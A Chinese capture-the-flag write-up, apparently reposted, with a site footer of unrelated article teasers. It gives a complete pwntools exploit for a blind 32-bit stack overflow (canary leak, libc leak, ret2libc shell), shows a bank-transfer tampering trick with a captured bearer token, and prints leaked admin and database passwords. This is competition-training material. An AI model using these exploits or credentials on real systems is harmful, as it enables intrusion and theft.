blindpwn

寻找漏洞点

上来先看到让输入的有长度和数据,其他先不管,测试一下长度,发现最大为16

image-20250822195911637

然后blind pwn一般的话有栈溢出和格式化字符串两种,这里先测试一下格式化字符串

image-20250822200043754

然后就会发现啥也没有,但是会发现一些事情

image-20250822200122372

有一些奇怪的字符,直觉应该是顺带把什么东西泄露出来了,上脚本看

image-20250822200322830

这里简单猜一下,应该是栈上的数据,可能存在栈溢出,拿我们尝试输出最长字符串(16)试一下

rl(b"Len:\n")sl(b"16")rl(b"Data:\n")s(b"a" * 0x10)

然后,无事发生,程序继续运行

image-20250822200514915

输入大于16会EOF,如下所示,所以想一下漏洞点在哪

image-20250822200536292

绕过保护

这里根据经验,测试一下长度,输入负数长度试一下,会发现输出的长度变长了,而且能输入的字符也多了,那就上个超长字符串试一下,对应的漏洞应该就是把有符号数转化为了无符号数造成的

image-20250822200846565

发现报错了,存在canary,根据我们之前的猜测,输出的应该是栈上的数据,再加上自己手动二分测一下,定位覆盖canary的长度为0x11,那么此时还要确定位数,根据下图,发现f7开头的比较多,应该就是32位

image-20250822200735000

那蓝色划的就是canary,然后绿色的就是ebp存放的值,红色的就是返回地址(程序地址),我们现在就可以拿到程序地址,canary和ebp的值,于此同时,也能拿到libc地址,但是没有偏移,没啥用,此时看似没啥能利用的,但是程序其实给了提示,说有什么DEBUG,这个其实刚开始我也没注意,后面随便用超长数据覆盖发现了一个点

rl(b"Len:\n")sl(b"-1")rl(b"Data:\n")s(b"a" * 0x11)rl(b"a" * 0x11)canary = u32(p.recv(4))li(canary)p.recv(8)stack = u32(p.recv(4))code_base = u32(p.recv(4))li(code_base)

获得libc偏移

image-20250822201656193

在这里发现程序进入debug模式,会泄露write的libc地址,那么如果我们能拿到它根据网上找偏移,不就成ret2libc了,继续测试,发现控制debug模式位于返回地址下方

获取shell

但是我们拿到地址其实已经是最后一次输入了,因为第一次要拿到各种地址和值,那么我们要想办法再次让程序执行一次这个vuln函数,根据内存布局和逻辑,可以猜测出来,这个应该是一个循环调用了vuln函数,那么我们让其再次call这个函数即可,那就用获得的返回地址不断的减去偏移,最终得到是7

sl(b"-1")rl(b"Data:\n")s(b"a" * 0x11 + p32(canary) + p32(1) * 2+p32(stack) + p32(code_base-7)+p32(1))rl(b"write <")libc_base = int(p.recv(10),16) - 0x108630

拿到了一个libc用在线网站查一下,一个一个试,发现用的是libc6-i386_2.35-0ubuntu3.10_amd64

后面就是正常32位的retlibc了

rl(b"Len:\n")sl(b"-1")rl(b"Data:\n")li(libc_base)li(stack)system = libc_base +        0x047cd0bin_sh = libc_base +        0x1b90d5s(b"a" * 0x11 + p32(canary) + p32(1) * 3 + p32(system)+p32(0)+p32(bin_sh))

image-20250822202854732

完整EXP

from pwn import *from pwncli import *def s(a):p.send(a)def sa(a, b):p.sendafter(a, b)def sl(a):p.sendline(a)def sla(a, b):p.sendlineafter(a, b)def li(a):print(hex(a))def r():p.recv()def pr():print(p.recv())def rl(a):return p.recvuntil(a)def inter():p.interactive()def get_32():return u32(p.recvuntil(b'\xf7')[-4:])def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))# def get_sb():#     return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))def debug():gdb.attach(p)​context(os='linux',arch='amd64',log_level='debug')libc = ELF('./libc.so')p = remote("isg.idss-cn.com", 21804)rl(b"Len:\n")sl(b"-1")rl(b"Data:\n")s(b"a" * 0x11)rl(b"a" * 0x11)canary = u32(p.recv(4))li(canary)p.recv(8)stack = u32(p.recv(4))code_base = u32(p.recv(4))li(code_base)sl(b"-1")rl(b"Data:\n")s(b"a" * 0x11 + p32(canary) + p32(1) * 2+p32(stack) + p32(code_base-7)+p32(1))rl(b"write <")libc_base = int(p.recv(10),16) -    0x108630rl(b"Len:\n")sl(b"-1")rl(b"Data:\n")li(libc_base)li(stack)system = libc_base +        0x047cd0bin_sh = libc_base +        0x1b90d5s(b"a" * 0x11 + p32(canary) + p32(1) * 3 + p32(system)+p32(0)+p32(bin_sh))inter()

ezbank

当黑盒做了,没看到下载的按钮 : ),先注册一个账号进去,进去发现用钱买礼物,有转账,抓个包

image-20250822203158283

POST /api/transaction HTTP/1.1Host: isg.idss-cn.com:21404sec-ch-ua-platform: "Android"Accept: */*Origin: http://isg.idss-cn.com:21404Referer: http://isg.idss-cn.com:21404/Content-Type: application/jsonAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsIm5hbWUiOiJhZG1pbjg4OCIsImlhdCI6MTc1NTg2NTY1OCwiZXhwIjoxNzU1OTUyMDU4fQ.sWF6xrkcCSKpy5YfpCHXpoWDpiWv5w2Jvnlg6Y2cCqAAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9User-Agent: Mozilla/5.0 (Linux; Android 11; Pixel C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Safari/537.36sec-ch-ua-mobile: ?1sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="88", "Google Chrome";v="88"Content-Length: 46​{"fromAccountId":4,"toAccountId":1,"amount":1}

猜测1为管理员的,感觉和thm的入门很像,那就换一下转钱并发一下

image-20250822203534095

image-20250822203524107

成功买下来

babysec

先扫目录,发现了一个start.sh,里面有管理员账号密码

#!/bin/bash​# Exit on any errorset -e​export POSTGRES_DB=pastebinexport POSTGRES_USER=pastebin_userexport POSTGRES_PASSWORD=B236-9E9362319162export DB_HOST=localhostexport DB_NAME=pastebinexport DB_USER=pastebin_userexport DB_PASS=B236-9E9362319162export DB_PORT=5432export ADMIN_USERNAME=adminexport ADMIN_PASSWORD=92E54054-FD9C

进去在Admin Panel找到flag,挺简单的都

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/94640.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/94640.shtml
英文地址,请注明出处:http://en.pswp.cn/web/94640.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux 打包及压缩基础知识总结

一、gz 包1、常用命令命令格式&#xff1a;压缩&#xff1a;gzip [option] filename解压&#xff1a;gunzip [option] filename 常用选项&#xff1a;-c &#xff1a; 将压缩数据输出到标准输出中&#xff0c;并保留原文件-d &#xff1a; 解压缩,相当于gunzip-f &#xff1a; …

FOC算法第三节 等幅值变换与克拉克逆变换

FOC的过程其实就是输入需求的电机力矩&#xff0c;把需求的电机力矩转化为三相线电压输出&#xff0c;并且让电机物理输出你所需求的力矩的过程&#xff0c;这也被称为电机控制三环中的力矩环&#xff0c;所有后面的位置闭环和速度闭环都得基于这个力矩环&#xff0c;而这个力矩…

解析蛋白质三维结构-Bio3D R包

最近休息时阅读了一本书&#xff1a; 在书本第5章结构信息学章节的末尾&#xff0c;看到了一个练习题&#xff0c;张贴如下&#xff1a; 这里作者提到了一个R包&#xff0c; 看着挺有意思的&#xff0c;所以就决定小学一下&#xff0c;毕竟这年头搞分子动力学起码是python重火…

【开发便利】让远程Linux服务器能够访问内网git仓库

打通网络壁垒&#xff1a;本地Windows直连内网Git的远程开发终极指南 场景痛点 开发主力是一台云端的 Linux 服务器&#xff0c;代码却存放在无法被公网访问的公司内网 Git 仓库中。 本文利用 Windows 电脑作为“网络桥梁”&#xff0c;搭建一条能自动重连的 SSH 隧道&#xff…

STM32学习日记

ADCADC简介ADC(Analog-Digital Converter)模拟-数字转换器ADC可以将引脚上连续变化的模拟电压转换为内存中存储的数字变量&#xff0c;建立模拟电路到数字电路的桥梁12位逐次逼近型ADC&#xff0c;1us转换时间输入电压范围&#xff1a;0~3.3V&#xff0c;转换结果范围&#xff…

文生3D实战:用[灵龙AI API]玩转AI 3D模型 – 第7篇

在前几篇文章中&#xff0c;我们已经体验了文生视频、图生视频、文生图、图生图、AI翻唱 等功能。本篇将进入更高阶的领域 —— 文生3D。借助 [灵龙AI API]&#xff0c;你不仅能生成静态的 3D模型&#xff0c;还可以快速产出 场景、角色、动画&#xff0c;为游戏开发、虚拟人、…

林粒粒视频笔记4-numpy

需要先安装2个库&#xff0c;一个是代码运行平台&#xff1a;pip3 install notebook还有一个numpy&#xff1a;pip3 install numpy1、在cmd运行环境>>jupyter notebook&#xff0c;浏览器自动打开页面如下&#xff1a;2、创建一个一维数组和二维数据3、分别打印这2个数组…

Hadoop MapReduce 任务/输入数据 分片 InputSplit 解析

InputSplitInputSplit 是对 MapReduce 作业输入数据的一种逻辑划分。它并不直接包含数据本身&#xff0c;而是包含了处理一小块数据所需的信息&#xff0c;比如数据的位置、起始点和长度。框架会为每个 InputSplit 创建一个 Mapper 任务。从InputSplit.java 的注释中我们可以得…

【力扣】面试经典150题总结04-区间/栈

1.汇总区间&#xff08;简单&#xff09;判断连续的范围&#xff0c;记录每个区间的首尾&#xff0c;存进list。2.合并区间&#xff08;中等&#xff09;先按照左端点排序&#xff0c;然后判断右端点是否和下个区间的左端点重合&#xff0c;重叠进行合并。3.插入区间&#xff0…

SpringBoot 常用跨域处理方案

1.什么是跨域&#xff1f; 跨域是浏览器为了保障安全而遵循的一种规则&#xff0c;是同源策略的一部分。 同源&#xff1a;要求协议、域名、端口三者完全相同。 跨域&#xff1a;只要协议、域名、端口中有任何一个不同&#xff0c;浏览器就会判定为跨域请求。 跨域&#xf…

Springboot框架的“上海迪士尼”旅游管理网站设计与开发(代码+数据库+LW)

摘 要 随着旅游行业的不断发展&#xff0c;特别是主题公园的快速增长&#xff0c;如何通过现代信息技术提升旅游服务质量与管理效率成为了行业的重要课题。上海迪士尼作为中国乃至全球知名的主题公园&#xff0c;其旅游管理网站的设计与开发&#xff0c;不只需要满足游客对信…

后台管理系统-16-vue3之动态路由的实现

文章目录 1 动态路由 1.1 stores/index.js(动态添加路由函数) 1.1.1 获取菜单数据 1.1.2 动态导入组件 1.1.3 处理菜单项 1.1.4 添加路由 1.1.5 整体代码 1.2 router/index.js(移除子路由) 1.3 Login.vue(登录页面) 2 多账号bug问题 2.1 问题复现 2.2 解决多账号路由问题(store…

社群团购平台与定制开发开源AI智能名片S2B2C商城小程序的融合创新研究

摘要&#xff1a;本文聚焦于社群团购平台这一在移动互联网背景下兴起的电子商务运营机构&#xff0c;深入剖析其依托移动互联网满足消费者多元购物需求的特点。同时&#xff0c;引入定制开发开源AI智能名片S2B2C商城小程序这一关键元素&#xff0c;探讨二者融合所带来的创新模式…

模型交互中的会话状态管理实践

模型交互中的会话状态管理实践 目录 引言会话状态的手动管理构建多轮对话消息序列追加历史响应实现上下文共享API支持的自动会话状态管理利用 previous_response_id 实现线程式对话模型响应数据保存与计费说明上下文窗口管理与令牌限制令牌计算与窗口溢出风险令牌工具辅助统计…

基于Java+Springboot的船舶运维系统

源码编号&#xff1a;sy23源码名称&#xff1a;基于Springboot的船舶运维系统用户类型&#xff1a;多角色&#xff0c;船员、维修人员、管理员数据库表数量&#xff1a;9 张表主要技术&#xff1a;Java、Vue、ElementUl 、SpringBoot、Maven运行环境&#xff1a;Windows/Mac、J…

零基础也能照做的WordPress网站安全漏洞修复 + 高级优化保姆级教程。

建议先在**暂存环境&#xff08;Staging&#xff09;**演练后再动正式站&#xff0c;避免线上故障。下面第一部分就教你“备份暂存还原演练”。 总览导航&#xff08;按顺序完成&#xff09; 备份与还原演练&#xff08;UpdraftPlus 宝塔/阿里/腾讯/七牛&#xff09;高危加固…

HI3516DV500/HI3519DV500 Docker开发环境配置

目录一、拉取Ubuntu 18.04 docker镜像二、查看已有镜像三、基于镜像创建容器1. 创建容器2. 退出容器3. 查看容器4. 启动容器5. 进入容器6. 更新容器内部软件源四、安装CANN包1. 安装基础依赖环境2. 安装并配置python 3.7.5配置环境变量安装vim添加使环境变量生效检查python版本…

实体店转型破局之道:新零售社区商城小程序开发重构经营生态

在数字化浪潮的席卷下&#xff0c;实体店经营正经历着前所未有的变革与挑战。客户进店率持续走低、同行竞争白热化、经营成本不断攀升、电商平台冲击加剧……这些痛点如同达摩克利斯之剑&#xff0c;悬在传统实体商家的头顶。然而&#xff0c;危机往往与机遇并存&#xff0c;新…

前端-如何将前端页面输出为PDF并打包的压缩包中

需要引入的依赖&#xff1a;import * as utils from ../../utils/utils import html2canvas from "html2canvas"; import JSZip from "jszip"; import JSPDF from "jspdf"; import FileSaver from "file-saver"import { Loading } fro…

LabVIEW 频谱分析应用

LabVIEW 频谱分析程序广泛应用于声学、振动、电力电子等领域&#xff0c;用于噪声频谱分析、设备故障诊断、电能质量评估等。通过模块化 VI 组合&#xff0c;可快速搭建 "信号模拟 - 采集&#xff08;或缓存&#xff09;- 频谱分析 - 结果展示" 完整流程&#xff0c;…